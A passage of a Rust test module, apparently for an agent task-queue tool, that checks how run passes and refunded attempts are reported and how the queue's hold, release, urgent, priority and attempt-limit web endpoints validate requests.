16854        assert_eq!(f.edges.len(), 1);
16855        assert_eq!(f.edges[0].label, "no run yet \u{2192} queued");
16856        assert_eq!(f.edges[0].attempt, AttemptCost::None);
16857    }
16858
16859    /// A run parked mid-flight keeps a non-terminal status; the page must
16860    /// still say why it stopped and that the attempt came back.
16861    #[test]
16862    fn a_parked_non_terminal_run_is_explained_as_parked() {
16863        let mut s = RunState::new(
16864            PathBuf::from("/repo/magi"),
16865            "main".to_owned(),
16866            "0123456789abcdef".to_owned(),
16867            "Do it".to_owned(),
16868            Config::default(),
16869        );
16870        s.status = RunStatus::Implementing;
16871        s.parked = true;
16872        let task = Task::new(
16873            "t".to_owned(),
16874            "Do it".to_owned(),
16875            PathBuf::from("/repo/magi"),
16876            Source::Human,
16877        );
16878        let v = task_run_view(
16879            "20260902-140501-aaaa",
16880            Some(&s),
16881            RunSlot {
16882                n: 1,
16883                resumed: false,
16884                resumed_later: None,
16885                prior: None,
16886                last: true,
16887                ..RunSlot::default()
16888            },
16889            &task,
16890        );
16891        assert!(v.outcome.contains("Parked"), "{}", v.outcome);
16892    }
16893
16894    fn earlier_pass_view(edit: impl FnOnce(&mut RunState)) -> TaskRunView {
16895        let mut s = flow_run(RunStatus::Implementing, edit);
16896        s.parked = false;
16897        let task = flow_task(&["20260902-140501-aaaa", "20260902-140501-aaaa"]);
16898        task_run_view(
16899            "20260902-140501-aaaa",
16900            Some(&s),
16901            RunSlot {
16902                n: 1,
16903                resumed: false,
16904                resumed_later: Some(2),
16905                prior: None,
16906                last: false,
16907                ..RunSlot::default()
16908            },
16909            &task,
16910        )
16911    }
16912
16913    #[test]
16914    fn an_earlier_pass_with_no_recorded_cause_is_unknown_not_parked() {
16915        let v = earlier_pass_view(|_| {});
16916        assert!(v.outcome.contains("not recorded"), "{}", v.outcome);
16917        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16918        assert!(!v.outcome.contains("parked it"), "{}", v.outcome);
16919        assert!(!v.outcome.contains("handed back."), "{}", v.outcome);
16920        assert_eq!(v.exit, RunExit::Interrupted);
16921        assert_eq!(v.attempt, AttemptCost::Unknown);
16922    }
16923
16924    #[test]
16925    fn an_earlier_pass_with_a_recorded_rate_limit_does_not_claim_it_as_the_cause() {
16926        let v = earlier_pass_view(|s| {
16927            s.quota.push(crate::run::QuotaLoss {
16928                cause: crate::agent::QuotaCause::UsageLimit,
16929                agent: String::new(),
16930                seat: "judge-1".to_owned(),
16931                node: "judge".to_owned(),
16932                at: Timestamp::now(),
16933                reset: None,
16934            });
16935        });
16936        assert!(v.outcome.contains("may or may not"), "{}", v.outcome);
16937        assert!(v.outcome.contains("unknown"), "{}", v.outcome);
16938        assert_eq!(v.attempt, AttemptCost::Unknown);
16939    }
16940
16941    #[test]
16942    fn the_current_pass_states_its_recorded_cause_and_cost() {
16943        let slot = || RunSlot {
16944            n: 1,
16945            resumed: false,
16946            resumed_later: None,
16947            prior: None,
16948            last: true,
16949            ..RunSlot::default()
16950        };
16951        let task = flow_task(&["20260902-140501-aaaa"]);
16952        let parked = flow_run(RunStatus::Implementing, |s| s.parked = true);
16953        let v = task_run_view("20260902-140501-aaaa", Some(&parked), slot(), &task);
16954        assert_eq!(
16955            (v.exit, v.attempt),
16956            (RunExit::Parked, AttemptCost::Refunded)
16957        );
16958        let spent = flow_run(RunStatus::Blocked, |_| {});
16959        let v = task_run_view("20260902-140501-aaaa", Some(&spent), slot(), &task);
16960        assert_eq!(v.attempt, AttemptCost::Spent);
16961        assert!(v.outcome.contains("spent an attempt"), "{}", v.outcome);
16962    }
16963
16964    fn recorded_pass(index: usize, end: Option<crate::run::PassEnd>) -> crate::run::RunPass {
16965        crate::run::RunPass {
16966            index,
16967            started_at: Timestamp::now(),
16968            resumed: index > 0,
16969            ended_at: end.as_ref().map(|_| Timestamp::now()),
16970            end,
16971            task_entry: true,
16972        }
16973    }
16974
16975    fn parked(cause: crate::run::ParkCause) -> Option<crate::run::PassEnd> {
16976        Some(crate::run::PassEnd::Parked { cause })
16977    }
16978
16979    fn upgrade_cause() -> crate::run::ParkCause {
16980        crate::run::ParkCause::Upgrade {
16981            from: "0.121.0".to_owned(),
16982            to: Some("0.121.1".to_owned()),
16983        }
16984    }
16985
16986    fn settled_pass(
16987        run: &str,
16988        index: usize,
16989        cost: crate::queue::PassCost,
16990    ) -> crate::queue::TaskPass {
16991        crate::queue::TaskPass {
16992            run: run.to_owned(),
16993            pass_index: index,
16994            started_at: None,
16995            cost,
16996            attempts_after: 1,
16997            settled_at: Timestamp::now(),
16998            parked: None,
16999        }
17000    }
17001
17002    const RUN_X: &str = "20261011-223708-4334";
17003
17004    #[test]
17005    fn an_upgrade_pause_and_its_resume_are_two_passes_of_one_run_and_one_attempt() {
17006        use crate::queue::PassCost;
17007        let run = flow_run(RunStatus::Implementing, |s| {
17008            s.passes = vec![
17009                recorded_pass(0, parked(upgrade_cause())),
17010                recorded_pass(1, None),
17011            ];
17012        });
17013        let mut task = flow_task(&[RUN_X, RUN_X]);
17014        task.attempts = 1;
17015        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17016        let h = task_history(&task, |_| Some(run.clone()));
17017        assert_eq!(h.len(), 2);
17018        assert_eq!(h[0].kind, "competition");
17019        assert_eq!(h[1].kind, "resume");
17020        assert_eq!(
17021            (h[0].exit, h[0].attempt),
17022            (RunExit::Parked, AttemptCost::Refunded)
17023        );
17024        assert!(
17025            h[0].outcome.contains("upgrade 0.121.0 \u{2192} 0.121.1"),
17026            "{}",
17027            h[0].outcome
17028        );
17029        assert!(h[0].outcome.contains("handed back"), "{}", h[0].outcome);
17030        assert!(
17031            h[0].outcome.contains("pass #2 resumed the same run"),
17032            "{}",
17033            h[0].outcome
17034        );
17035        assert!(
17036            h[0].outcome.contains("pass 1 of 2 over run"),
17037            "{}",
17038            h[0].outcome
17039        );
17040        assert!(!h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17041        assert_eq!(
17042            h[0].exit_label,
17043            "parked for upgrade 0.121.0 \u{2192} 0.121.1, attempt refunded"
17044        );
17045        let f = task_flow(&task, &h, 2, None);
17046        // Two passes of one run, one of two attempts consumed.
17047        assert_eq!((f.passes, f.runs, f.attempts, f.max_attempts), (2, 1, 1, 2));
17048        assert_eq!(f.edges[1].attempt, AttemptCost::Refunded);
17049        assert!(
17050            f.edges[1].label.contains("upgrade 0.121.0"),
17051            "{}",
17052            f.edges[1].label
17053        );
17054        assert!(
17055            f.edges[1].label.contains("resume the same run"),
17056            "{}",
17057            f.edges[1].label
17058        );
17059        assert_eq!(f.nodes[1].note, Some("parked"));
17060    }
17061
17062    #[test]
17063    fn distinct_run_ids_render_all_recorded_passes_in_time_order() {
17064        let mut a = flow_run(RunStatus::Implementing, |s| {
17065            s.passes = vec![
17066                recorded_pass(0, parked(upgrade_cause())),
17067                recorded_pass(1, None),
17068            ];
17069        });
17070        let mut b = flow_run(RunStatus::Failed, |s| {
17071            s.passes = vec![recorded_pass(0, None)];
17072        });
17073        a.passes[0].started_at = "2026-10-10T00:00:00Z".parse().unwrap();
17074        b.passes[0].started_at = "2026-10-10T01:00:00Z".parse().unwrap();
17075        a.passes[1].started_at = "2026-10-10T02:00:00Z".parse().unwrap();
17076        let mut task = flow_task(&[]);
17077        task.start("a".into());
17078        task.start("b".into());
17079        task.start("a".into());
17080        assert_eq!(task.runs, ["b", "a"]);
17081        task.passes = vec![settled_pass("a", 0, crate::queue::PassCost::Refunded)];
17082        let h = task_history(&task, |id| {
17083            Some(if id == "a" { a.clone() } else { b.clone() })
17084        });
17085        assert_eq!(
17086            h.iter().map(|v| v.id.as_str()).collect::<Vec<_>>(),
17087            ["a", "b", "a"]
17088        );
17089        assert_eq!(h[0].attempt, AttemptCost::Refunded);
17090        assert!(h[0].outcome.contains("upgrade"));
17091        assert_eq!(h[2].kind, "resume");
17092        assert!(h[2].pass.is_some());
17093        // The old repeated-id format must show the same recorded passes.
17094        task.runs = vec!["a".into(), "b".into(), "a".into()];
17095        let old = task_history(&task, |id| {
17096            Some(if id == "a" { a.clone() } else { b.clone() })
17097        });
17098        assert_eq!(
17099            old.iter()
17100                .map(|v| (&v.id, &v.kind, v.attempt))
17101                .collect::<Vec<_>>(),
17102            h.iter()
17103                .map(|v| (&v.id, &v.kind, v.attempt))
17104                .collect::<Vec<_>>()
17105        );
17106    }
17107
17108    #[test]
17109    fn an_upgrade_whose_target_was_not_known_says_so() {
17110        let run = flow_run(RunStatus::Implementing, |s| {
17111            s.passes = vec![
17112                recorded_pass(
17113                    0,
17114                    parked(crate::run::ParkCause::Upgrade {
17115                        from: "0.121.0".to_owned(),
17116                        to: None,
17117                    }),
17118                ),
17119                recorded_pass(1, None),
17120            ];
17121        });
17122        let task = flow_task(&[RUN_X, RUN_X]);
17123        let h = task_history(&task, |_| Some(run.clone()));
17124        assert!(
17125            h[0].outcome.contains("upgrade from 0.121.0"),
17126            "{}",
17127            h[0].outcome
17128        );
17129        // No settle record: the refund is not claimed.
17130        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17131    }
17132
17133    #[test]
17134    fn each_pass_keeps_its_own_cause_across_several_resumes() {
17135        use crate::queue::PassCost;
17136        use crate::run::ParkCause;
17137        let run = flow_run(RunStatus::Implementing, |s| {
17138            s.passes = vec![
17139                recorded_pass(0, parked(upgrade_cause())),
17140                recorded_pass(
17141                    1,
17142                    parked(ParkCause::Interrupt {
17143                        reason: "task a1b2 asked to run first".to_owned(),
17144                    }),
17145                ),
17146                recorded_pass(2, parked(ParkCause::Operator)),
17147                recorded_pass(3, None),
17148            ];
17149        });
17150        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X, RUN_X]);
17151        task.attempts = 1;
17152        task.passes = (0..3)
17153            .map(|i| settled_pass(RUN_X, i, PassCost::Refunded))
17154            .collect();
17155        let h = task_history(&task, |_| Some(run.clone()));
17156        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17157        assert!(
17158            h[1].outcome.contains("task a1b2 asked to run first"),
17159            "{}",
17160            h[1].outcome
17161        );
17162        assert!(!h[1].outcome.contains("upgrade"), "{}", h[1].outcome);
17163        assert!(
17164            h[2].outcome.contains("operator asked the loop to park"),
17165            "{}",
17166            h[2].outcome
17167        );
17168        assert!(h[3].outcome.is_empty() || !h[3].outcome.contains("upgrade"));
17169        let f = task_flow(&task, &h, 2, None);
17170        assert_eq!((f.passes, f.runs, f.attempts), (4, 1, 1));
17171    }
17172
17173    #[test]
17174    fn a_pass_the_next_one_found_open_is_unrecorded_never_an_upgrade() {
17175        let run = flow_run(RunStatus::Implementing, |s| {
17176            s.passes = vec![
17177                recorded_pass(0, Some(crate::run::PassEnd::Unrecorded)),
17178                recorded_pass(1, None),
17179            ];
17180        });
17181        let task = flow_task(&[RUN_X, RUN_X]);
17182        let h = task_history(&task, |_| Some(run.clone()));
17183        assert_eq!(h[0].exit, RunExit::Interrupted);
17184        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17185        assert!(
17186            h[0].outcome.contains("without recording why"),
17187            "{}",
17188            h[0].outcome
17189        );
17190        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17191        assert_eq!(h[0].pass.as_ref().map(|p| p.end), Some("unrecorded"));
17192    }
17193
17194    #[test]
17195    fn a_record_from_before_passes_stays_unknown_even_next_to_recorded_ones() {
17196        use crate::queue::PassCost;
17197        // Three entries, but the run only began keeping passes at the last
17198        // two: the first is legacy and must not be given a cause.
17199        let run = flow_run(RunStatus::Implementing, |s| {
17200            s.passes = vec![
17201                recorded_pass(0, parked(upgrade_cause())),
17202                recorded_pass(1, None),
17203            ];
17204        });
17205        let mut task = flow_task(&[RUN_X, RUN_X, RUN_X]);
17206        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17207        let h = task_history(&task, |_| Some(run.clone()));
17208        assert!(h[0].pass.is_none());
17209        assert_eq!(h[0].exit, RunExit::Interrupted);
17210        assert_eq!(h[0].attempt, AttemptCost::Unknown);
17211        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17212        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17213        assert!(h[1].outcome.contains("upgrade 0.121.0"), "{}", h[1].outcome);
17214        // A run with no passes at all is entirely unknown.
17215        let legacy = flow_run(RunStatus::Implementing, |_| {});
17216        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(legacy.clone()));
17217        assert!(h.iter().all(|v| v.pass.is_none()));
17218        assert!(h[0].outcome.contains("not recorded"), "{}", h[0].outcome);
17219    }
17220
17221    #[test]
17222    fn a_resume_outside_the_task_loop_does_not_shift_the_recorded_passes() {
17223        use crate::queue::PassCost;
17224        // Pass 1 is a web-button resume: a pass of the run, no entry of the
17225        // task. The two entries are passes 0 and 2.
17226        let mut web = recorded_pass(1, parked(crate::run::ParkCause::Operator));
17227        web.task_entry = false;
17228        let run = flow_run(RunStatus::Implementing, |s| {
17229            s.passes = vec![
17230                recorded_pass(0, parked(upgrade_cause())),
17231                web.clone(),
17232                recorded_pass(2, None),
17233            ];
17234        });
17235        let mut task = flow_task(&[RUN_X, RUN_X]);
17236        task.passes = vec![settled_pass(RUN_X, 0, PassCost::Refunded)];
17237        let h = task_history(&task, |_| Some(run.clone()));
17238        assert!(h[0].outcome.contains("upgrade 0.121.0"), "{}", h[0].outcome);
17239        assert!(!h[1].outcome.contains("not recorded"), "{}", h[1].outcome);
17240
17241        // Legacy first entry, then a web resume that parked for an upgrade,
17242        // then the daemon's pass: the legacy entry must stay unknown.
17243        let mut web0 = recorded_pass(0, parked(upgrade_cause()));
17244        web0.task_entry = false;
17245        let run = flow_run(RunStatus::Implementing, |s| {
17246            s.passes = vec![web0.clone(), recorded_pass(1, None)];
17247        });
17248        let h = task_history(&flow_task(&[RUN_X, RUN_X]), |_| Some(run.clone()));
17249        assert!(h[0].pass.is_none());
17250        assert!(!h[0].outcome.contains("upgrade"), "{}", h[0].outcome);
17251        assert!(h[1].pass.is_some());
17252    }
17253
17254    #[tokio::test]
17255    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17256        let dir = tempfile::tempdir().unwrap();
17257        let queue = Queue::at(dir.path().join("queue"));
17258        let ui = Arc::new(Ui::new(
17259            queue.clone(),
17260            Questions::at(dir.path().join("questions")),
17261            Talks::at(dir.path().join("talks")),
17262            dir.path().join("runs"),
17263            dir.path().to_path_buf(),
17264            dir.path().to_path_buf(),
17265        ));
17266        let mut t = Task::new(
17267            "recover".into(),
17268            "Inspect".into(),
17269            PathBuf::from("."),
17270            Source::Human,
17271        );
17272        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17273        t.start("run-A".into());
17274        t.release_operator("choice", Some("resume-question"));
17275        t.resume_override = Some(crate::queue::OperatorResume {
17276            question_id: "resume-question".into(),
17277            at: jiff::Timestamp::now(),
17278            conductor_rehold: None,
17279            forced: true,
17280            pinned_run: Some("run-A".into()),
17281        });
17282        t.hold_machine(Some("inspection pending".into()));
17283        t.edit("recover".into(), "Reuse approved PR head".into())
17284            .unwrap();
17285        queue.put(&mut t).unwrap();
17286        let mut cli = t.clone();
17287        cli.release_operator("cli", None);
17288        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17289        let reloaded = queue.get(&t.id).unwrap();
17290        assert_eq!(reply.task.status, TaskStatus::Queued);
17291        assert!(reloaded.resume_override.is_none());
17292        assert_eq!(reloaded.answers, t.answers);
17293        let mut web = reloaded.resumption.unwrap();
17294        let cli = cli.resumption.unwrap();
17295        assert_eq!(web.source, "web");
17296        web.source = cli.source.clone();
17297        web.at = cli.at;
17298        assert_eq!(web, cli);
17299    }
17300
17301    #[tokio::test]
17302    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17303        let f = Fixture::start().await;
17304        let queue = f.queue();
17305        let mut task = Task::new(
17306            "spent".to_owned(),
17307            "Try again".to_owned(),
17308            PathBuf::from("/repo/magi"),
17309            Source::Human,
17310        );
17311        task.start("20260902-140502-bbbb".to_owned());
17312        task.fail("agent gave up", 9);
17313        queue.put(&mut task).expect("file the task");
17314
17315        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17316        assert_eq!(held.status, 200);
17317        assert_eq!(held.json()["status_str"], "held");
17318
17319        let released = f
17320            .post(&format!("/api/queue/{}/release", task.id), None)
17321            .await;
17322        assert_eq!(released.status, 200);
17323        assert_eq!(released.json()["status_str"], "queued");
17324        assert_eq!(released.json()["resumption"]["source"], "web");
17325        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17326        let mut cli = task.clone();
17327        cli.release_operator("cli", None);
17328        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17329        let cli = cli.resumption.unwrap();
17330        assert_eq!(web.instruction, cli.instruction);
17331        assert_eq!(web.answers_through, cli.answers_through);
17332        assert_eq!(web.runs_through, cli.runs_through);
17333        assert_eq!(web.cleared_reason, cli.cleared_reason);
17334        assert_eq!(
17335            released.json()["attempts"],
17336            0,
17337            "release is a real second chance, not an instant re-hold"
17338        );
17339        assert_eq!(
17340            queue.get(&task.id).expect("reload").status,
17341            TaskStatus::Queued,
17342            "the change is on disk, not only in the reply"
17343        );
17344        assert!(
17345            !f.home
17346                .path()
17347                .join("queue")
17348                .join(format!("{}.lock", task.id))
17349                .exists(),
17350            "the claim the mutation took is released again"
17351        );
17352    }
17353
17354    #[tokio::test]
17355    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17356        let f = Fixture::start().await;
17357        let queue = f.queue();
17358        let mut task = Task::new(
17359            "busy".to_owned(),
17360            "Running right now".to_owned(),
17361            PathBuf::from("/repo/magi"),
17362            Source::Human,
17363        );
17364        queue.put(&mut task).expect("file the task");
17365        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17366
17367        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17368
17369        assert_eq!(res.status, 409);
17370        assert_eq!(
17371            queue.get(&task.id).expect("reload").status,
17372            TaskStatus::Queued,
17373            "the refused hold changed nothing"
17374        );
17375    }
17376
17377    #[tokio::test]
17378    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17379        let f = Fixture::start().await;
17380        let queue = f.queue();
17381        let mut task = Task::new(
17382            "waiting on the migration".to_owned(),
17383            "Do the thing".to_owned(),
17384            PathBuf::from("/repo/magi"),
17385            Source::Human,
17386        );
17387        queue.put(&mut task).expect("file the task");
17388
17389        let held = f
17390            .post(
17391                &format!("/api/queue/{}/hold", task.id),
17392                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17393            )
17394            .await;
17395        assert_eq!(held.status, 200, "{}", held.body);
17396        assert_eq!(held.json()["status_str"], "held");
17397        assert_eq!(
17398            held.json()["hold_reason"],
17399            "waiting for 20260101-000000-aaaa to land"
17400        );
17401
17402        let listed = f.get("/api/queue").await.json();
17403        assert_eq!(
17404            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17405            "the card reads the reason off the same list route"
17406        );
17407
17408        // A hold with no body at all must keep working - most holds have no
17409        // reason to give.
17410        let mut plain = Task::new(
17411            "no reason given".to_owned(),
17412            "Do another thing".to_owned(),
17413            PathBuf::from("/repo/magi"),
17414            Source::Human,
17415        );
17416        queue.put(&mut plain).expect("file the task");
17417        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17418        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17419        assert!(held_plain.json()["hold_reason"].is_null());
17420
17421        let released = f
17422            .post(&format!("/api/queue/{}/release", task.id), None)
17423            .await;
17424        assert_eq!(released.status, 200);
17425        assert!(
17426            released.json()["hold_reason"].is_null(),
17427            "a release must clear the reason so the next hold does not inherit it"
17428        );
17429    }
17430
17431    #[test]
17432    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17433        for urgent in [true, false] {
17434            let body: UrgentBody =
17435                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17436            assert_eq!(body.urgent, urgent);
17437        }
17438        for input in [
17439            r#"{}"#,
17440            r#"{"urgent":null}"#,
17441            r#"{"urgent":"true"}"#,
17442            r#"{"urgent":1}"#,
17443            r#"{"urgent":true,"extra":false}"#,
17444        ] {
17445            assert!(
17446                serde_json::from_str::<UrgentBody>(input).is_err(),
17447                "{input}"
17448            );
17449        }
17450    }
17451
17452    #[tokio::test]
17453    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17454        let home = TempDir::new().unwrap();
17455        let q = Queue::at(home.path().join("queue"));
17456        let ui = Arc::new(Ui::new(
17457            q.clone(),
17458            Questions::at(home.path().join("questions")),
17459            Talks::at(home.path().join("talks")),
17460            home.path().join("runs"),
17461            home.path().into(),
17462            home.path().into(),
17463        ));
17464        let mut task = Task::new(
17465            "urgent handler".into(),
17466            "keep".into(),
17467            home.path().into(),
17468            Source::Human,
17469        );
17470        for status in [TaskStatus::Queued, TaskStatus::Held] {
17471            task.status = status;
17472            q.put(&mut task).unwrap();
17473            for urgent in [true, true, false, false] {
17474                let saved = queue_urgent(
17475                    State(Arc::clone(&ui)),
17476                    Path(task.short().into()),
17477                    Ok(Json(UrgentBody { urgent })),
17478                )
17479                .await
17480                .unwrap();
17481                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17482                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17483            }
17484        }
17485        task.status = TaskStatus::Queued;
17486        q.put(&mut task).unwrap();
17487        let claim = q.claim(&task.id).unwrap();
17488        let error = queue_urgent(
17489            State(Arc::clone(&ui)),
17490            Path(task.id.clone()),
17491            Ok(Json(UrgentBody { urgent: true })),
17492        )
17493        .await
17494        .unwrap_err();
17495        assert_eq!(error.status, StatusCode::CONFLICT);
17496        assert!(error.message.contains("released"));
17497        drop(claim);
17498        for status in [
17499            TaskStatus::Running,
17500            TaskStatus::Done,
17501            TaskStatus::Failed,
17502            TaskStatus::Blocked,
17503            TaskStatus::Parked,
17504        ] {
17505            task.status = status;
17506            q.put(&mut task).unwrap();
17507            let error = queue_urgent(
17508                State(Arc::clone(&ui)),
17509                Path(task.id.clone()),
17510                Ok(Json(UrgentBody { urgent: false })),
17511            )
17512            .await
17513            .unwrap_err();
17514            assert_eq!(error.status, StatusCode::BAD_REQUEST);
17515            assert!(error.message.contains(status.as_str()));
17516        }
17517    }
17518
17519    #[tokio::test]
17520    async fn urgent_api_updates_preserves_and_validates_tasks() {
17521        let f = Fixture::start().await;
17522        let q = f.queue();
17523        let mut t = Task::new(
17524            "urgent API".into(),
17525            "unchanged".into(),
17526            PathBuf::from("/repo/magi"),
17527            Source::Human,
17528        );
17529        t.attempts = 2;
17530        t.priority = 9;
17531        t.interrupt = true;
17532        t.hold_reason = Some("waiting for approval".into());
17533        for status in [TaskStatus::Queued, TaskStatus::Held] {
17534            t.status = status;
17535            q.put(&mut t).unwrap();
17536            for urgent in [true, true, false, false] {
17537                let response = f
17538                    .post(
17539                        &format!("/api/queue/{}/urgent", t.short()),
17540                        Some(&format!("{{\"urgent\":{urgent}}}")),
17541                    )
17542                    .await;
17543                assert_eq!(response.status, 200, "{}", response.body);
17544                assert_eq!(response.json()["urgent"], urgent);
17545                let saved = q.get(&t.id).unwrap();
17546                let mut before = serde_json::to_value(&t).unwrap();
17547                let mut after = serde_json::to_value(saved).unwrap();
17548                before["urgent"] = urgent.into();
17549                before.as_object_mut().unwrap().remove("updated_at");
17550                after.as_object_mut().unwrap().remove("updated_at");
17551                assert_eq!(after, before);
17552            }
17553        }
17554        let route = format!("/api/queue/{}/urgent", t.id);
17555        for body in [
17556            r#"{}"#,
17557            r#"{"urgent":null}"#,
17558            r#"{"urgent":"true"}"#,
17559            r#"{"urgent":1}"#,
17560            r#"{"urgent":true,"extra":false}"#,
17561            "{",
17562        ] {
17563            assert_eq!(f.post(&route, Some(body)).await.status, 400);
17564        }
17565        t.status = TaskStatus::Queued;
17566        q.put(&mut t).unwrap();
17567        let claim = q.claim(&t.id).unwrap();
17568        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
17569        assert_eq!(response.status, 409, "{}", response.body);
17570        assert!(!q.get(&t.id).unwrap().urgent);
17571        drop(claim);
17572        for status in [
17573            TaskStatus::Running,
17574            TaskStatus::Done,
17575            TaskStatus::Failed,
17576            TaskStatus::Blocked,
17577            TaskStatus::Parked,
17578        ] {
17579            t.status = status;
17580            q.put(&mut t).unwrap();
17581            for urgent in [true, false] {
17582                let response = f
17583                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
17584                    .await;
17585                assert_eq!(response.status, 400, "{}", response.body);
17586                assert!(response.body.contains(status.as_str()));
17587                assert!(response.body.contains("queued or held"));
17588                assert!(!q.get(&t.id).unwrap().urgent);
17589            }
17590        }
17591        assert_eq!(
17592            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
17593                .await
17594                .status,
17595            404
17596        );
17597    }
17598
17599    #[tokio::test]
17600    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
17601        let f = Fixture::start().await;
17602        let queue = f.queue();
17603        let mut older = Task::new(
17604            "filed first".to_owned(),
17605            "x".to_owned(),
17606            PathBuf::from("/repo/magi"),
17607            Source::Human,
17608        );
17609        older.id = "20260101-000001-aaaa".to_owned();
17610        let mut newer = Task::new(
17611            "filed second".to_owned(),
17612            "x".to_owned(),
17613            PathBuf::from("/repo/magi"),
17614            Source::Human,
17615        );
17616        newer.id = "20260101-000002-bbbb".to_owned();
17617        queue.put(&mut older).expect("file older");
17618        queue.put(&mut newer).expect("file newer");
17619
17620        // Equal priority: the newer task leads, the same order the old
17621        // newest-first `list()` already gave every equal-priority queue.
17622        let before = f.get("/api/queue").await.json();
17623        assert_eq!(before[0]["id"], newer.id);
17624        assert_eq!(before[1]["id"], older.id);
17625
17626        // Raising the *older* task is the meaningful case: it can only lead
17627        // now because its priority says so, not because it happens to be
17628        // newest.
17629        let raised = f
17630            .post(
17631                &format!("/api/queue/{}/priority", older.id),
17632                Some(r#"{"priority":10}"#),
17633            )
17634            .await;
17635        assert_eq!(raised.status, 200, "{}", raised.body);
17636        assert_eq!(raised.json()["priority"], 10);
17637
17638        let after = f.get("/api/queue").await.json();
17639        let names: Vec<&str> = after
17640            .as_array()
17641            .unwrap()
17642            .iter()
17643            .map(|t| t["id"].as_str().unwrap())
17644            .collect();
17645        // Highest priority first, which is the order next_runnable and
17646        // `magi task list` both use - GET /api/queue must agree with it
17647        // immediately, not just once the loop claims the task.
17648        assert_eq!(names[0], older.id, "the raised task now sorts first");
17649    }
17650
17651    #[tokio::test]
17652    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
17653        let dir = TempDir::new().unwrap();
17654        let q = Queue::at(dir.path().join("queue"));
17655        let ui = Arc::new(Ui::new(
17656            q.clone(),
17657            Questions::at(dir.path().join("questions")),
17658            Talks::at(dir.path().join("talks")),
17659            dir.path().join("runs"),
17660            dir.path().to_path_buf(),
17661            dir.path().to_path_buf(),
17662        ));
17663        let mut t = Task::new(
17664            "budget".into(),
17665            "keep".into(),
17666            dir.path().into(),
17667            Source::Human,
17668        );
17669        t.attempts = 2;
17670        t.runs.push("prior-run".into());
17671        t.hold_manual(Some("waiting".into()));
17672        q.put(&mut t).unwrap();
17673        let change = |value| {
17674            queue_attempt_limit(
17675                State(ui.clone()),
17676                Path(t.id.clone()),
17677                Ok(Json(AttemptLimitBody {
17678                    attempt_limit: value,
17679                })),
17680            )
17681        };
17682        for value in [
17683            serde_json::json!(3),
17684            serde_json::Value::Null,
17685            serde_json::json!(1),
17686        ] {
17687            let response = change(value.clone()).await.unwrap();
17688            assert_eq!(
17689                serde_json::to_value(response.0).unwrap()["attempt_limit"],
17690                value
17691            );
17692            let saved = q.get(&t.id).unwrap();
17693            assert_eq!(
17694                serde_json::to_value(&saved).unwrap()["attempt_limit"],
17695                value
17696            );
17697            assert_eq!(saved.status, TaskStatus::Held);
17698            assert_eq!(saved.attempts, t.attempts);
17699            assert_eq!(saved.runs, t.runs);
17700            assert_eq!(saved.hold_reason, t.hold_reason);
17701            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
17702                .await
17703                .unwrap()
17704                .0;
17705            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
17706            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
17707            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
17708            assert_eq!(outcome.max_attempts, detail.max_attempts);
17709        }
17710        for value in [
17711            serde_json::json!(0),
17712            serde_json::json!(-1),
17713            serde_json::json!(1.5),
17714            serde_json::json!("3"),
17715            serde_json::json!(true),
17716        ] {
17717            assert_eq!(
17718                change(value).await.err().unwrap().status,
17719                StatusCode::BAD_REQUEST
17720            );
17721        }
17722        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
17723        let claim = q.claim(&t.id).unwrap();
17724        assert_eq!(
17725            change(serde_json::json!(4)).await.err().unwrap().status,
17726            StatusCode::CONFLICT
17727        );
17728        drop(claim);
17729        for status in [
17730            TaskStatus::Running,
17731            TaskStatus::Done,
17732            TaskStatus::Failed,
17733            TaskStatus::Blocked,
17734            TaskStatus::Parked,
17735        ] {
17736            let mut stored = q.get(&t.id).unwrap();
17737            stored.status = status;
17738            q.put(&mut stored).unwrap();
17739            assert_eq!(
17740                change(serde_json::json!(4)).await.err().unwrap().status,
17741                StatusCode::BAD_REQUEST
17742            );
17743            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
17744        }
17745        let mut stored = q.get(&t.id).unwrap();
17746        stored.status = TaskStatus::Queued;
17747        q.put(&mut stored).unwrap();
